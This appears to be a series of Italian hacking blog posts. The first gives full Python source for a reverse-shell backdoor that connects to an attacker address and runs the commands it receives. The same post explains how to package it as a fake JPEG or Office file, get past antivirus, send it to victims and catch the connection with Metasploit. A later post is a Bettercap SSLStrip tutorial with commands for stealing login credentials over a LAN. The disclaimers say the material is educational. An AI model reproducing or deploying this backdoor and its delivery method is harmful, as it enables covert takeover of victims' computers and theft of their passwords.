Che cos'è una backdoor e perché può essere molto pericolosa

Attenzione: questo post è puramente a scopo didattico/informativo e non vuole in alcun modo incoraggiare attività illecite. Prova le seguenti tecniche solo nella tua rete locale o se sei stato autorizzato. Ricorda che l’accesso abusivo a un sistema informatico è un reato punibile in quasi tutti gli Stati del mondo. 

Negli ultimi anni, il termine backdoor è entrato nell’uso comune per indicare un software malevolo (o malware) che consente di prendere il controllo di un sistema remoto. Questa tecnica viene ampiamente utilizzata per violare le reti aziendali, ma anche per infiltrarsi nei dispositivi degli utenti bypassando le normali misure antintrusione (firewall, antivirus, ids ecc).

Al giorno d’oggi, esistono numerosi framework in grado di automatizzare la creazione di backdoor all’interno di file apparentemente innocui come documenti Word o PDF. Tuttavia, i più comuni antivirus in commercio rileveranno la minaccia e renderanno vani i nostri tentativi, per cui la soluzione migliore è imparare a creare da soli la propria backdoor.

In questo post, dimostrerò com’è possibile ottenere una reverse shell, ossia il prompt dei comandi di un pc remoto, senza che la vittima si accorga di essere spiata. Per l’occasione ho scritto una “mini” backdoor in Python che userò per simulare un attacco nella mia rete locale. Ecco il codice:

 import os  
 import socket  
 import subprocess  
 HOST = '192.168.1.102'   
 PORT = 4444        
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 s.connect((HOST, PORT))  
 s.send('Connessione stabilita (premi INVIO per continuare)')  
 try:  
   while 1:  
     data = s.recv(1024)  
     if data.startswith('cd') == True:  
       try:  
         os.chdir(data[3:].replace('\n',''))  
         s.send ('Directory corrente: '+str(os.getcwd()))  
       except:  
         s.send('Impossibile trovare il percorso specificato')  
       continue;  
     else:  
       run_cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)  
       output = run_cmd.stdout.read()  
       output += run_cmd.stderr.read()  
       s.send(str(output)+'[shell]:')  
 except:  
   s.close()  

Com'è strutturato

Quando creiamo uno script con Python, la prima cosa da fare è importare i moduli che ci serviranno per gestire i vari eventi. Nel caso specifico, avremo bisogno di tre moduli:

• os: ci permette di eseguire alcuni comandi specifici del Sistema Operativo su cui si trova la vittima;
• socket: apre un flusso di comunicazione bidirezionale tra host/programmi diversi. Lo useremo per inviare e ricevere dati;
• subprocess: lancia nuovi processi di sistema fornendo all'attaccante la possibilità di interagire con una shell di tipo bash, cmd.exe ecc.

Dopo aver stabilito come l’interprete dovrà organizzare il codice, creiamo due variabili: una per l’indirizzo ip e l’altra per la porta su cui vogliamo ricevere la connessione. Trattandosi di un attacco reverse shell, non saremo noi a connetterci alla vittima, bensì sarà la vittima a connettersi a noi mettendoci a disposizione il prompt. 

Attraverso la funzione connect(), la nostra backdoor si collegherà a noi, e per essere certi che la connessione sia andata a buon fine, le faremo inviare una stringa. A questo punto, ho inserito il codice in un blocco try al fine di sollevare un’eccezione se il socket non viene chiuso correttamente, poiché in tal caso genererebbe un errore sullo schermo della vittima.

Per continuare a ricevere comandi dal server e mandarli in esecuzione, abbiamo bisogno di un loop infinito, all’interno del quale il blocco if consente di cambiare directory avvisandoci se il percorso non esiste o non è corretto. L’ultima porzione di codice si occupa di eseguire il comando richiesto e di inviarlo in output al rispettivo handler sotto forma di stringa. 

Dimostrazione pratica

Ora che abbiamo visto come lavorerà il nostro script, non ci resta che convertirlo in un file .exe da inviare alla vittima. Per rendere il tutto più credibile, possiamo camuffarlo da jpeg o da semplice Documento Office. È qui che entra in gioco PyInstaller di cui ho parlato in precedenza. Come prima cosa, copiamo la backdoor (ed eventualmente l’icona che vogliamo assegnarle), in C:\Python27\Scripts, dopodiché lanciamo da terminale il comando (ricordatevi di inserire i nomi dei vostri file):

Il risultato, visibile nella cartella dist, sarà un eseguibile stand-alone in tutto e per tutto simile ad un jpeg:

Proverò adesso a scansionarlo per vedere se l'antivirus me lo rileva come minaccia:

Ottimo, il file è “pulito”, possiamo inviarlo al bersaglio via mail, tramite link o installarlo fisicamente con una pendrive, prima però dobbiamo impostare un listener su cui ricevere la connessione. Userò il modulo multi/handler di Metasploit, noto framework di exploitation che trovate preinstallato su tutte le distro Linux dedicate al pentesting:

Anche in questo caso, non dimenticate di inserire il vostro local host. Una volta che la vittima avrà aperto il file, potremo curiosare tra le sue cartelle…

…o magari lasciarle un ricordino per farle capire che siamo passati. :-D

Hacking in Python: preparazione dell'ambiente di lavoro

Python è uno dei linguaggi di programmazione più usati nell’ambito del penetration testing. La sua sintassi chiara e asciutta, ma al tempo stesso molto potente, permette di sviluppare strumenti anche complessi con un codice intuitivo e una fluidità basata sull’essenziale. Per tutti coloro che si avvicinano al mondo dell’hacking e vogliono imparare a scrivere da soli i propri script o a modificare quelli esistenti, Python è sicuramente una scelta azzeccata. L’installazione viene fornita con una comoda e funzionale libreria standard, in cui è presente un’ampia varietà di moduli per lo svolgimento dei compiti più disparati. Possiamo infatti avvalerci del modulo socket, contenente i costrutti basilari del networking e della programmazione a basso livello, per creare un piccolo programmino che trova l’ip di un server:

 import socket   
 host = 'www.sitoweb.com'   
 port = 80  
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 ip_server = socket.gethostbyname(host)  
 print ip_server  

Oppure usare il modulo urllib2 per implementare un client http in grado restituirci il contenuto di una pagina web:

 import urllib2  
 richiesta = urllib2.Request('http://www.sitoweb.com/')  
 risposta = urllib2.urlopen(richiesta).read()  
 print risposta  

E questo è niente rispetto alle grandi potenzialità che Python ci offre. Ad ogni modo, prima di addentrarci nella sintassi e di mettere mano al codice, dobbiamo installare tutti gli strumenti necessari. Trattandosi di un linguaggio interpretato, per scrivere ed eseguire programmi Python c’è bisogno di un interprete. Rechiamoci dunque sul sito www.python.org e nella sezione download scarichiamo la versione 2.7. Questo procedimento vale solo per gli utenti Windows, in quanto sui sistemi Linux e MAC OS, Python di solito è preinstallato. Una volta terminato il tutto, settiamo la variabile d’ambiente PATH in modo da poter richiamare i nostri script .py da qualsiasi directory:

Al fine di rendere più agevole l’interazione con gli applicativi Microsoft (Office, Explorer, Outlook e così via), scarichiamo e installiamo il pacchetto pywin32 disponibile su sourceforge.net. Anche in questo caso, l’installazione è molto semplice e basta seguire le indicazioni, ma se riscontrate problemi fatemelo sapere nei commenti. 

Come ultimo step andremo a configurare uno strumento molto interessante di nome PyInstaller. Grazie ad esso, è possibile generare file .exe compatibili con diverse piattaforme. In pratica l’utente sarà in grado di eseguire il nostro applicativo stand-alone senza installare alcun inteprete Python. Questo passaggio risulta particolarmente utile se vogliamo iniettare una backdoor sul pc vittima. 

Dopo aver scaricato PyInstaller dal sito ufficiale, estraiamo l’intero contenuto nella directory dove risiede Python. Nel mio caso c:\Python27:

Apriamo il prompt dei comandi e portiamoci sul percorso della cartella appena decompressa. Quindi diamo il comando dir per visualizzarne i file: 

A noi interessa il file setup.py, da cui possiamo avviare l’installazione del programma digitando:

 python setup.py install   

Se non ci sono problemi, nel giro di pochi secondi il nostro PyInstaller sarà pronto a fare il suo dovere. Prossimamente, vedremo come sfruttarlo per impacchettare un piccolo malware e camuffarlo da jpeg. 

MITM versus HSTS: la tua password è al sicuro?

Nota: questo post è un proof of concept. Non mi assumo alcuna responsabilità riguardo all’uso che ne farete.

Il man in the middle (abbreviato MITM) è uno degli attacchi informatici più subdoli e pericolosi all’interno di una rete LAN. Come dice il nome stesso, l’hacker si pone al centro di una comunicazione tra la vittima e il server riuscendo a impersonificare ciascuno dei nodi coinvolti. In questo articolo non descriverò genericamente come viene fatto un attacco di tipo MITM, ma mi soffermerò su uno scenario preciso in cui tutti noi ci troviamo quando eseguiamo il login su un sito https, ad esempio la nostra banca. 

È credenza comune pensare che le informazioni trasmesse sul web tramite protocollo crittografato siano al sicuro e non decifrabili da utenti malintenzionati. Questo perché i siti che applicano uno strato ssl al normale traffico (in chiaro) http, fanno affidamento su un certificato rilasciato da un organo terzo, le cosiddette CA (Certification Authorities), le quali garantiscono la sicurezza e la privacy delle comunicazioni. In sostanza, quando il browser interpella un web server protetto da protocollo https, fra i due host viene negoziato un complesso algoritmo di cifratura a partire dalla chiave pubblica del certificato. Da qui il nome Public Key Infrastructure (PKI), che designa tutti quei soggetti e quelle fasi che concorrono a stabilire lo scambio sicuro dei dati. 

Tuttavia, com’è stato dimostrato negli ultimi anni, il sistema basato sulla combinazione di http con la tecnologia ssl, non è esente da vulnerabilità. Nel 2009, il brillante hacker conosciuto come Moxie Marlinspike, presentò al Black Hat DC una tecnica chiamata SSLStrip, capace di aggirare il tunnel crittografico creato da ssl dirottando tutto il traffico su una connessione non sicura. Ma in che modo ci riesce? Vediamolo nel dettaglio. 

In realtà, SSLStrip non è altro che un proxy che a sua volta agisce come man in the middle. L’attacker intercetta i reindirizzamenti https inviati dal server tramite una reply http, stabilendo con esso una connessione protetta, ma continuando a mantenere con la vittima una connessione non protetta. Successivamente, l’aggressore modifica i redirects da https a http, e una volta effettuato il downgrade della pagina, invia la risposta alla vittima, la quale non sospetterà affatto che tutto il suo traffico, compresi username e password, è stato intercettato e letto. 

Il principale punto di forza di SSLStrip risiede nella “propensione” dei vari browser a comunicare tramite protocollo (non sicuro) http piuttosto che https. In parole povere, se l’utente digita nella barra URL “miabancaonline.com”, il browser inizierà una comunicazione in chiaro, nonostante il traffico verrà subito reindirizzato su https. Per ovviare a questo problema, alcuni esperti di sicurezza si sono dati da fare ideando lo standard HSTS, tutt’oggi implementato dalla maggior parte dei browser e web server, grazie al quale questi ultimi “obbligano” i vari Google Chrome, Firefox e di recente (pare) anche Internet Explorer, a stabilire in futuro una connessione protetta col sito. 

Sebbene tale meccanismo abbia risolto in larga parte lo stripping di ssl, più avanti dimostrerò come un utente che effettua una request al server “pippo.com” per la prima volta, risulti potenzialmente esposto ad attacchi MITM. Per capirne il motivo, bisogna considerare il funzionamento di HSTS: dopo aver interpellato “pippo.com”, il nostro client riceverà una risposta http contenente un particolare header chiamato Strict Transport Security, con cui si avvisa il browser che le sessioni successive dovranno avvenire solo in maniera protetta, cioè utilizzando https. Diamo un rapido sguardo alla sintassi (in questo caso, ho scelto come esempio la pagina di login di libero.it):

La funzione Strict-Transport-Security prende due parametri: max-age e includeSubDomains. Il primo comunica all’user-agent (browser) il tempo, espresso in secondi, in cui il sito dev’essere accessibile solo tramite https, mentre includeSubDomains (opzionale) specifica che la protezione si applica a tutti i sottodomini della pagina, il che aumenta notevolmente il livello di sicurezza. 

Fatto questo doveroso e generalissimo excursus, direi che è arrivato il momento di passare alla pratica. Come attacker userò una macchina virtuale VMware su cui è installato Kali Linux 2.0 (ma vanno bene anche Parrot OS, BackBox o la distro che più vi piace). Per effettuare lo sniffing dei pacchetti, avremo bisogno di un tool apposito. Io ho scelto il validissimo Bettercap, un vero e proprio MITM framework che implementa il supporto a SSLStrip+ (o SSLStrip2) di LeonardoNve. La vittima verrà reindirizzata a un sottodominio wwww e tramite un DNS spoofing tale sottodominio verrà risolto. Questa tecnica è necessaria per poter aggirare, in determinate circostanze, la policy HSTS. 

Ma bando alle ciance e passiamo all’azione.  :D

Dopo esserci autenticati come utenti root, diamo il comando netdiscover per trovare l’ip del nostro bersaglio. L’output che ci viene restituito è una serie di host connessi alla rete. Il primo indirizzo identifica il gateway. 

A questo punto, lanciamo Bettercap in modalità SSLStrip con il comando:

 bettercap -X -T [ip-target] --proxy -P POST

È importante tenere a mente che di default l’interfaccia di rete è impostata su eth0. Se state operando su un’interfaccia diversa, ad esempio wlan, potete cambiarla aggiungendo l’opzione:

 -i [your-network-interface]  

Per essere certi di quale sia la nostra interfaccia, lanciamo da terminale il comando ifconfig: 

Ora dobbiamo attendere che la nostra vittima inserisca username e password in un form. Nel frattempo, Bettercap intercetterà tutte le connessioni restituendoci i log. :)

Come si vede dall'immagine, l’attacco è andato a buon fine e le credenziali sono state strippate. Ricordo che questo metodo non funziona sui siti che rientrano nella lista HSTS precaricata nel browser, ma in seguito esploreremo altre tecniche con cui proveremo ad assumere il controllo di un sistema remoto. 

Nb: Bettercap è scritto in Ruby. Per installarlo correttamente, è necessario che tutte le dipendenze siano soddisfatte (build-essential, ruby-dev, libpcap-dev).